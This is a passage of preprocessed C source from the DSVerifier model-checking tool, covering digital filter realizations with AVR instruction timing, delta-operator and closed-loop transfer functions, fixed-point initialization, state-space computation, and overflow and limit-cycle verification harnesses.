# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 291, __extension__ __PRETTY_FUNCTION__); }))
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return yout;
}
double generic_timing_double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb){
generic_timer += ((6 * hw.assembly.push) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (12 * hw.assembly.std));
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
generic_timer += ((12 * hw.assembly.std) + (12 * hw.assembly.ldd) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (1 * hw.assembly.adiw));
int i, j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < Nb; i++){
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.sbc) + (10 * hw.assembly.std) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum += *b_ptr++ * *x_ptr--;
}
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++){
generic_timer += ((22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (8 * hw.assembly.std) + (1 * hw.assembly.sbci) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.sbc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum -= *a_ptr++ * *y_ptr--;
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (6 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
generic_timer += ((10 * hw.assembly.std) + (6 * hw.assembly.ldd) + (2 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
generic_timer += ((23 * hw.assembly.ldd) + (32 * hw.assembly.mov) + (9 * hw.assembly.std) + (2 * hw.assembly.subi) + (3 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (2 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge));
}
w[0] += x;
w_ptr = &w[0];
generic_timer += ((13 * hw.assembly.ldd) + (12 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.st) + (1 * hw.assembly.ld) + (1 * hw.assembly.rcall));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (10 * hw.assembly.std) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (8 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
generic_timer += ((15 * hw.assembly.std) + (22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.brge) + (1 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
generic_timer += ((70 * hw.assembly.mov) + (65 * hw.assembly.ldd) + (12 * hw.assembly.lsl) + (12 * hw.assembly.rol) + (15 * hw.assembly.std) + (6 * hw.assembly.add) + (6 * hw.assembly.adc) + (2 * hw.assembly.adiw) + (3 * hw.assembly.cpc) + (3 * hw.assembly.cp) + (5 * hw.assembly.ld) + (4 * hw.assembly.rcall) + (5 * hw.assembly.subi) + (3 * hw.assembly.rjmp) + (2 * hw.assembly.brlt) + (3 * hw.assembly.st) + (2 * hw.assembly.sbci) + (3 * hw.assembly.sbc) + (1 * hw.assembly.brge));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (8 * hw.assembly.pop) + (3 * hw.assembly.out) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (1 * hw.assembly.adiw) + (1 * hw.assembly.ret));
return yout;
}
void double_direct_form_1_impl2(double x[], int x_size, double b[], int b_size, double a[], int a_size, double y[]){
int i = 0; int j = 0;
double v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = v[i] + x[i-j] * b[j];
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = y[i] + v[i];
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = y[i] + y[i-j] * ((-1) * a[j]);
}
}
}
void fxp_direct_form_1_impl2(fxp_t x[], int x_size, fxp_t b[], int b_size, fxp_t a[], int a_size, fxp_t y[]){
int i = 0; int j = 0;
fxp_t v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = fxp_add(v[i], fxp_mult(x[i-j], b[j]));
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = fxp_add(y[i], v[i]);
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = fxp_add(y[i], fxp_mult(y[i-j] , -a[j]));
}
}
}
# 26 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h"
# 1 "/usr/include/assert.h" 1 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
int nchoosek(int n, int k){
if (k == 0)
return 1;
return (n * nchoosek(n - 1, k - 1)) / k;
}
void generate_delta_coefficients(double vetor[], double out[], int n, double delta){
int i,j;
int N = n - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + vetor[j]*nchoosek(N-j,i-j);
}
out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
}
void get_delta_transfer_function(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
generate_delta_coefficients(b, b_out, b_size, delta);
generate_delta_coefficients(a, a_out, a_size, delta);
}
void get_delta_transfer_function_with_base(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
int i,j;
int N = a_size - 1;
int M = b_size - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + a[j]*nchoosek(N-j,i-j);
}
a_out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
for(i=0; i<=M; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + b[j]*nchoosek(M-j,i-j);
}
b_out[i] = internal_pow(delta,M-i)*sum_delta_operator;
}
}
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h" 1
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h"
void ft_closedloop_series(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_num + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1 ;
double den_mult [Nans_den];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, ans_num, Nans_num);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den );
poly_sum(ans_num, Nans_num , den_mult, Nans_den , ans_den, Nans_den);
}
void ft_closedloop_sensitivity(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
int Nans_num_p = Nc_num + Nmodel_num-1;
Nans_den = Nc_den + Nmodel_den-1;
Nans_num = Nc_den + Nmodel_den-1;
double num_mult [Nans_num_p];
poly_mult(c_den, Nc_den, model_den, Nmodel_den, ans_num, Nans_num);
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nans_num_p);
poly_sum(ans_num, Nans_num, num_mult, Nans_num_p, ans_den, Nans_den);
}
void ft_closedloop_feedback(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_den + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1;
int Nnum_mult = Nc_num + Nmodel_num - 1;
double den_mult [Nans_den];
double num_mult [Nnum_mult];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nnum_mult);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den);
poly_sum(num_mult, Nnum_mult, den_mult, Nans_den, ans_den, Nans_den);
poly_mult(c_den, Nc_den, model_num, Nmodel_num, ans_num, Nans_num);
}
int check_stability_closedloop(double a[], int n, double plant_num[], int p_num_size, double plant_den[], int p_den_size){
int columns = n;
double m[2 * n - 1][n];
int i,j;
int first_is_positive = 0;
double * p_num = plant_num;
double * p_den = plant_den;
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
__DSVERIFIER_assert(sum > 0);
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
__DSVERIFIER_assert(sum > 0);
__DSVERIFIER_assert(internal_abs(a[n-1]) < a[0]);
for (i=0; i < 2 * n - 1; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
__DSVERIFIER_assert(m[i-2][0] > 0);
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
__DSVERIFIER_assert((m[0][0] >= 0) && (m[i][0] >= 0));
}
}
}
return 1;
}
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
extern digital_system ds;
extern digital_system plant;
extern digital_system control;
extern implementation impl;
extern filter_parameters filter;
extern hardware hw;
void initialization(){
if (impl.frac_bits >= 32){
printf("impl.frac_bits must be less than word width!\n");
}
if (impl.int_bits >= 32 - impl.frac_bits){
printf("impl.int_bits must be less than word width subtracted by precision!\n");
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
((void) sizeof ((
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ; else __assert_fail (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
"0"
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h", 33, __extension__ __PRETTY_FUNCTION__); }))
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
;
}
if(impl.frac_bits >= 31){
_fxp_one = 0x7fffffff;
}else{
_fxp_one = (0x00000001 << impl.frac_bits);
}
_fxp_half = (0x00000001 << (impl.frac_bits - 1));
_fxp_minus_one = -(0x00000001 << impl.frac_bits);
_fxp_min = -(0x00000001 << (impl.frac_bits + impl.int_bits - 1));
_fxp_max = (0x00000001 << (impl.frac_bits + impl.int_bits - 1)) - 1;
_fxp_fmask = ((((int32_t) 1) << impl.frac_bits) - 1);
_fxp_imask = ((0x80000000) >> (32 - impl.frac_bits - 1));
_dbl_min = _fxp_min;
_dbl_min /= (1 << impl.frac_bits);
_dbl_max = _fxp_max;
_dbl_max /= (1 << impl.frac_bits);
if ((impl.scale == 0) || (impl.scale == 1)){
impl.scale = 1;
return;
}
if (impl.min != 0){
impl.min = impl.min / impl.scale;
}
if (impl.max != 0){
impl.max = impl.max / impl.scale;
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
}
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h"
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
double double_state_space_representation(void){
double result1[4][4];
double result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
return _controller.outputs[0][0];
}
double fxp_state_space_representation(void){
fxp_t result1[4][4];
fxp_t result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t D_fpx[4][4];
fxp_t states_fpx[4][4];
fxp_t inputs_fpx[4][4];
fxp_t outputs_fpx[4][4];
for(i=0; i<4;i++){
for(j=0; j<4;j++){
A_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
B_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
C_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
D_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
states_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
inputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
D_fpx[i][j]= fxp_double_to_fxp(_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
states_fpx[i][j]= fxp_double_to_fxp(_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
inputs_fpx[i][j]= fxp_double_to_fxp(_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]= fxp_double_to_fxp(_controller.outputs[i][j]);
}
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,C_fpx,states_fpx,result1);
fxp_matrix_multiplication(nOutputs,nInputs,nInputs,1,D_fpx,inputs_fpx,result2);
fxp_add_matrix(nOutputs,
1,
result1,
result2,
outputs_fpx);
fxp_matrix_multiplication(nStates,nStates,nStates,1,A_fpx,states_fpx,result1);
fxp_matrix_multiplication(nStates,nInputs,nInputs,1,B_fpx,inputs_fpx,result2);
fxp_add_matrix(nStates,
1,
result1,
result2,
states_fpx);
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= fxp_to_double(states_fpx[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j]= fxp_to_double(outputs_fpx[i][j]);
}
}
return _controller.outputs[0][0];
}
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h"
double sinTyl(double x, int precision){
double sine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
sine = aux;
if (precision >= 1)
{
aux = x;
sine += aux;
if (precision >= 2)
{
aux = aux*xsquared;
sine -= aux/6;
if (precision >= 3)
{
aux = aux*xsquared;
sine +=aux/120;
if(precision >=4)
{
aux = aux*xsquared;
sine -=aux/5040;
if(precision >= 5)
{
aux = aux*xsquared;
sine +=aux/362880;
if(precision >= 6)
{
aux = aux*xsquared;
sine -=aux/39916800;
if (precision >= 7)
printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return sine;
}
double cosTyl(double x, int precision){
double cosine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function cosTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
cosine = aux;
if (precision >= 1)
{
aux = 1;
cosine = 1;
if (precision >= 2)
{
aux = xsquared;
cosine -= aux/2;
if (precision >= 3)
{
aux = aux*xsquared;
cosine += aux/24;
if(precision >=4)
{
aux = aux*xsquared;
cosine -=aux/720;
if(precision >= 5)
{
aux = aux*xsquared;
cosine +=aux/40320;
if(precision >= 6)
{
aux = aux*xsquared;
cosine -=aux/3628800;
if (precision >= 7) printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return cosine;
}
double atanTyl(double x, int precision){
double atangent;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
atangent = aux;
if (precision >= 1)
{
aux = x;
atangent = aux;
if (precision >= 2)
{
aux = xsquared;
atangent -= aux/3;
if (precision >= 3)
{
aux = aux*xsquared;
atangent += aux/5;
if(precision >=4)
{
aux = aux*xsquared;
atangent -=aux/7;
if (precision >= 7)
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision representation exceeded. Assuming maximum precision of 4\n");
}
}
}
}
}
return atangent;
}
float sqrt1(const float x)
{
const float xhalf = 0.5f*x;
union
{
float x;
int i;
} u;
u.x = x;
u.i = 0x5f3759df - (u.i >> 1);
return x*u.x*(1.5f - xhalf*u.x*u.x);
}
float sqrt2(const float x)
{
union
{
int i;
float x;
} u;
u.x = x;
u.i = (1<<29) + (u.i >> 1) - (1<<22);
return u.x;
}
float fabsolut(float x)
{
if (x < 0)
x = -x;
return x;
}
static float sqrt3(float val)
{
float x = val/10;
float dx;
double diff;
double min_tol = 0.00001;
int i, flag;
flag = 0;
if (val == 0 ) x = 0;
else
{
for (i=1;i<20;i++)
{
if (!flag)
{
dx = (val - (x*x)) / (2.0 * x);
x = x + dx;
diff = val - (x*x);
if (fabsolut(diff) <= min_tol) flag = 1;
}
else x =x;
}
}
return (x);
}
# 31 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_overflow(void) {
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 73 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 129 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 174 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
}
overflow_mode = 1;
fxp_verify_overflow_array(y, X_SIZE_VALUE);
return 0;
}
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 1
# 15 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
int verify_limit_cycle_state_space(void){
double stateMatrix[4][4];
double outputMatrix[4][4];
double arrayLimitCycle[4];
double result1[4][4];
double result2[4][4];
int i, j, k;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
stateMatrix[i][j]=0;
outputMatrix[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
k = 0;
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
int l;
for(l = 0; l < nStates; l++){
stateMatrix[l][k] = _controller.states[l][0];
}
for(l = 0; l < nOutputs; l++){
stateMatrix[l][k] = _controller.outputs[l][0];
}
k++;
}
printf("#matrix STATES -------------------------------");
print_matrix(stateMatrix,nStates,0);
printf("#matrix OUTPUTS -------------------------------");
print_matrix(outputMatrix,nOutputs,0);
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
